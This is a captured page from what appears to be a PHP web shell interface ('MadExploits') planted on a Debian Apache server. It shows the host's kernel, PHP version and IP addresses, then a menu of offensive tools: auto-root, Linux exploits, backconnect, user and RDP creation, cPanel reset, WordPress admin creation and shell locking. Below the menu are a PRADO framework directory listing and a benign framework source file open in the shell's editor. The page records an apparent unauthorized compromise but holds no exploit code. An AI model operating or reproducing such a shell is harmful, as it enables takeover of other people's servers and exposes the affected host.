Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.221.160.29
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TDataBoundControl.php
<?php /** * TDataBoundControl class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Collections\TPagedDataSource; use Prado\Data\TDbDataReader; use Prado\TPropertyValue; use Prado\Exceptions\TInvalidDataValueException; use Prado\Exceptions\TInvalidDataTypeException; use Prado\Collections\TList; use Prado\Collections\TMap; /** * TDataBoundControl class. * * TDataBoundControl is the based class for controls that need to populate * data from data sources. It provides basic properties and methods that allow * the derived controls to associate with data sources and retrieve data from them. * * TBC.... * * TDataBoundControl is equipped with paging capabilities. By setting * {@link setAllowPaging AllowPaging} to true, the input data will be paged * and only one page of data is actually populated into the data-bound control. * This saves a lot of memory when dealing with larget datasets. * * To specify the number of data items displayed on each page, set * the {@link setPageSize PageSize} property, and to specify which * page of data to be displayed, set {@link setCurrentPageIndex CurrentPageIndex}. * * When the size of the original data is too big to be loaded all in the memory, * one can enable custom paging. In custom paging, the total number of data items * is specified manually via {@link setVirtualItemCount VirtualItemCount}, * and the data source only needs to contain the current page of data. To enable * custom paging, set {@link setAllowCustomPaging AllowCustomPaging} to true. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ abstract class TDataBoundControl extends \Prado\Web\UI\WebControls\TWebControl { private $_initialized = false; private $_dataSource; private $_requiresBindToNull = false; private $_requiresDataBinding = false; private $_prerendered = false; private $_currentView; private $_currentDataSource; private $_currentViewValid = false; private $_currentDataSourceValid = false; private $_currentViewIsFromDataSourceID = false; private $_parameters; private $_isDataBound = false; /** * @return \Traversable data source object, defaults to null. */ public function getDataSource() { return $this->_dataSource; } /** * Sets the data source object associated with the databound control. * The data source must implement \Traversable interface. * If an array is given, it will be converted to xxx. * If a string is given, it will be converted to xxx. * @param array|string|\Traversable $value data source object */ public function setDataSource($value) { $this->_dataSource = $this->validateDataSource($value); $this->onDataSourceChanged(); } /** * @return string ID path to the data source control. Defaults to empty. */ public function getDataSourceID() { return $this->getViewState('DataSourceID', ''); } /** * @param string $value ID path to the data source control. The data source * control must be locatable via {@link TControl::findControl} call. */ public function setDataSourceID($value) { $dsid = $this->getViewState('DataSourceID', ''); if ($dsid !== '' && $value === '') { $this->_requiresBindToNull = true; } $this->setViewState('DataSourceID', $value, ''); $this->onDataSourceChanged(); } /** * @return bool if the databound control uses the data source specified * by {@link setDataSourceID}, or it uses the data source object specified * by {@link setDataSource}. */ protected function getUsingDataSourceID() { return $this->getDataSourceID() !== ''; } /** * Sets {@link setRequiresDataBinding RequiresDataBinding} as true if the control is initialized. * This method is invoked when either {@link setDataSource} or {@link setDataSourceID} is changed. */ public function onDataSourceChanged() { $this->_currentViewValid = false; $this->_currentDataSourceValid = false; if ($this->getInitialized()) { $this->setRequiresDataBinding(true); } } /** * @return bool whether the databound control has been initialized. * By default, the control is initialized after its viewstate has been restored. */ protected function getInitialized() { return $this->_initialized; } /** * Sets a value indicating whether the databound control is initialized. * If initialized, any modification to {@link setDataSource DataSource} or * {@link setDataSourceID DataSourceID} will set {@link setRequiresDataBinding RequiresDataBinding} * as true. * @param bool $value a value indicating whether the databound control is initialized. */ protected function setInitialized($value) { $this->_initialized = TPropertyValue::ensureBoolean($value); } /** * @return bool whether databind has been invoked in the previous page request */ protected function getIsDataBound() { return $this->_isDataBound; } /** * @param bool $value if databind has been invoked in this page request */ protected function setIsDataBound($value) { $this->_isDataBound = $value; } /** * @return bool whether a databind call is required (by the data bound control) */ protected function getRequiresDataBinding() { return $this->_requiresDataBinding; } /** * @return bool whether paging is enabled. Defaults to false. */ public function getAllowPaging() { return $this->getViewState('AllowPaging', false); } /** * @param bool $value whether paging is enabled */ public function setAllowPaging($value) { $this->setViewState('AllowPaging', TPropertyValue::ensureBoolean($value), false); } /** * @return bool whether the custom paging is enabled. Defaults to false. */ public function getAllowCustomPaging() { return $this->getViewState('AllowCustomPaging', false); } /** * Sets a value indicating whether the custom paging should be enabled. * When the pager is in custom paging mode, the {@link setVirtualItemCount VirtualItemCount} * property is used to determine the paging, and the data items in the * {@link setDataSource DataSource} are considered to be in the current page. * @param bool $value whether the custom paging is enabled */ public function setAllowCustomPaging($value) { $this->setViewState('AllowCustomPaging', TPropertyValue::ensureBoolean($value), false); } /** * @return int the zero-based index of the current page. Defaults to 0. */ public function getCurrentPageIndex() { return $this->getViewState('CurrentPageIndex', 0); } /** * @param int $value the zero-based index of the current page * @throws TInvalidDataValueException if the value is less than 0 */ public function setCurrentPageIndex($value) { if (($value = TPropertyValue::ensureInteger($value)) < 0) { $value = 0; } $this->setViewState('CurrentPageIndex', $value, 0); } /** * @return int the number of data items on each page. Defaults to 10. */ public function getPageSize() { return $this->getViewState('PageSize', 10); } /** * @param int $value the number of data items on each page. * @throws TInvalidDataValueException if the value is less than 1 */ public function setPageSize($value) { if (($value = TPropertyValue::ensureInteger($value)) < 1) { throw new TInvalidDataValueException('databoundcontrol_pagesize_invalid', get_class($this)); } $this->setViewState('PageSize', TPropertyValue::ensureInteger($value), 10); } /** * @return int number of pages of data items available */ public function getPageCount() { return $this->getViewState('PageCount', 1); } /** * @return int virtual number of data items in the data source. Defaults to 0. * @see setAllowCustomPaging */ public function getVirtualItemCount() { return $this->getViewState('VirtualItemCount', 0); } /** * @param int $value virtual number of data items in the data source. * @throws TInvalidDataValueException if the value is less than 0 * @see setAllowCustomPaging */ public function setVirtualItemCount($value) { if (($value = TPropertyValue::ensureInteger($value)) < 0) { throw new TInvalidDataValueException('databoundcontrol_virtualitemcount_invalid', get_class($this)); } $this->setViewState('VirtualItemCount', $value, 0); } /** * Sets a value indicating whether a databind call is required by the data bound control. * If true and the control has been prerendered while it uses the data source * specified by {@link setDataSourceID}, a databind call will be called by this method. * @param bool $value whether a databind call is required. */ protected function setRequiresDataBinding($value) { $value = TPropertyValue::ensureBoolean($value); if ($value && $this->_prerendered) { $this->_requiresDataBinding = true; $this->ensureDataBound(); } else { $this->_requiresDataBinding = $value; } } /** * Ensures any pending {@link dataBind} is called. * This method calls {@link dataBind} if the data source is specified * by {@link setDataSourceID} or if {@link getRequiresDataBinding RequiresDataBinding} * is true. */ protected function ensureDataBound() { if ($this->_requiresDataBinding && ($this->getUsingDataSourceID() || $this->_requiresBindToNull)) { $this->dataBind(); $this->_requiresBindToNull = false; } } /** * @return TPagedDataSource creates a paged data source */ protected function createPagedDataSource() { $ds = new TPagedDataSource(); $ds->setCurrentPageIndex($this->getCurrentPageIndex()); $ds->setPageSize($this->getPageSize()); $ds->setAllowPaging($this->getAllowPaging()); $ds->setAllowCustomPaging($this->getAllowCustomPaging()); $ds->setVirtualItemCount($this->getVirtualItemCount()); return $ds; } /** * Performs databinding. * This method overrides the parent implementation by calling * {@link performSelect} which fetches data from data source and does * the actual binding work. */ public function dataBind() { $this->setRequiresDataBinding(false); $this->dataBindProperties(); $this->onDataBinding(null); if (($view = $this->getDataSourceView()) !== null) { $data = $view->select($this->getSelectParameters()); } else { $data = null; } if ($data instanceof \Traversable) { if ($this->getAllowPaging()) { $ds = $this->createPagedDataSource(); $ds->setDataSource($data); $this->setViewState('PageCount', $ds->getPageCount()); if ($ds->getCurrentPageIndex() >= $ds->getPageCount()) { $ds->setCurrentPageIndex($ds->getPageCount() - 1); $this->setCurrentPageIndex($ds->getCurrentPageIndex()); } $this->performDataBinding($ds); } else { $this->clearViewState('PageCount'); $this->performDataBinding($data); } } $this->setIsDataBound(true); $this->onDataBound(null); } public function dataSourceViewChanged($sender, $param) { $this->setRequiresDataBinding(true); } protected function getDataSourceView() { if (!$this->_currentViewValid) { if ($this->_currentView && $this->_currentViewIsFromDataSourceID) { $this->_currentView->detachEventHandler('DataSourceViewChanged', [$this, 'dataSourceViewChanged']); } if (($dataSource = $this->determineDataSource()) !== null) { if (($view = $dataSource->getView($this->getDataMember())) === null) { throw new TInvalidDataValueException('databoundcontrol_datamember_invalid', $this->getDataMember()); } if ($this->_currentViewIsFromDataSourceID = $this->getUsingDataSourceID()) { $view->attachEventHandler('OnDataSourceViewChanged', [$this, 'dataSourceViewChanged']); } $this->_currentView = $view; } else { $this->_currentView = null; } $this->_currentViewValid = true; } return $this->_currentView; } protected function determineDataSource() { if (!$this->_currentDataSourceValid) { if (($dsid = $this->getDataSourceID()) !== '') { if (($dataSource = $this->getNamingContainer()->findControl($dsid)) === null) { throw new TInvalidDataValueException('databoundcontrol_datasourceid_inexistent', $dsid); } elseif (!($dataSource instanceof IDataSource)) { throw new TInvalidDataValueException('databoundcontrol_datasourceid_invalid', $dsid); } else { $this->_currentDataSource = $dataSource; } } elseif (($dataSource = $this->getDataSource()) !== null) { $this->_currentDataSource = new TReadOnlyDataSource($dataSource, $this->getDataMember()); } else { $this->_currentDataSource = null; } $this->_currentDataSourceValid = true; } return $this->_currentDataSource; } abstract protected function performDataBinding($data); /** * Raises <b>OnDataBound</b> event. * This method should be invoked after a databind is performed. * It is mainly used by framework and component developers. * @param mixed $param */ public function onDataBound($param) { $this->raiseEvent('OnDataBound', $this, $param); } /** * Sets page's <b>OnPreLoad</b> event handler as {@link pagePreLoad}. * If viewstate is disabled and the current request is a postback, * {@link setRequiresDataBinding RequiresDataBinding} will be set true. * This method overrides the parent implementation. * @param \Prado\TEventParameter $param event parameter */ public function onInit($param) { parent::onInit($param); $page = $this->getPage(); $page->attachEventHandler('OnPreLoad', [$this, 'pagePreLoad']); } /** * Sets {@link getInitialized} as true. * This method is invoked when page raises <b>PreLoad</b> event. * @param mixed $sender event sender * @param \Prado\TEventParameter $param event parameter */ public function pagePreLoad($sender, $param) { $this->_initialized = true; $isPostBack = $this->getPage()->getIsPostBack(); if (!$isPostBack || ($isPostBack && (!$this->getEnableViewState(true) || !$this->getIsDataBound()))) { $this->setRequiresDataBinding(true); } } /** * Ensures any pending databind is performed. * This method overrides the parent implementation. * @param \Prado\TEventParameter $param event parameter */ public function onPreRender($param) { $this->_prerendered = true; $this->ensureDataBound(); parent::onPreRender($param); } /** * Validates if the parameter is a valid data source. * If it is a string or an array, it will be converted as a TList object. * @param array|string|\Traversable $value data source to be validated * @throws TInvalidDataTypeException if the data is neither null nor Traversable * @return \Traversable the data that is traversable */ protected function validateDataSource($value) { if (is_string($value)) { $list = new TList(); foreach (TPropertyValue::ensureArray($value) as $key => $value) { if (is_array($value)) { $list->add($value); } else { $list->add([$value, is_string($key) ? $key : $value]); } } return $list; } elseif (is_array($value)) { return new TMap($value); } elseif ($value instanceof TDbDataReader) { // read array from TDbDataReader since it's forward-only stream and can only be traversed once return $value->readAll(); } elseif (($value instanceof \Traversable) || $value === null) { return $value; } else { throw new TInvalidDataTypeException('databoundcontrol_datasource_invalid', get_class($this)); } } public function getDataMember() { return $this->getViewState('DataMember', ''); } public function setDataMember($value) { $this->setViewState('DataMember', $value, ''); } public function getSelectParameters() { if (!$this->_parameters) { $this->_parameters = new TDataSourceSelectParameters(); } return $this->_parameters; } }
Close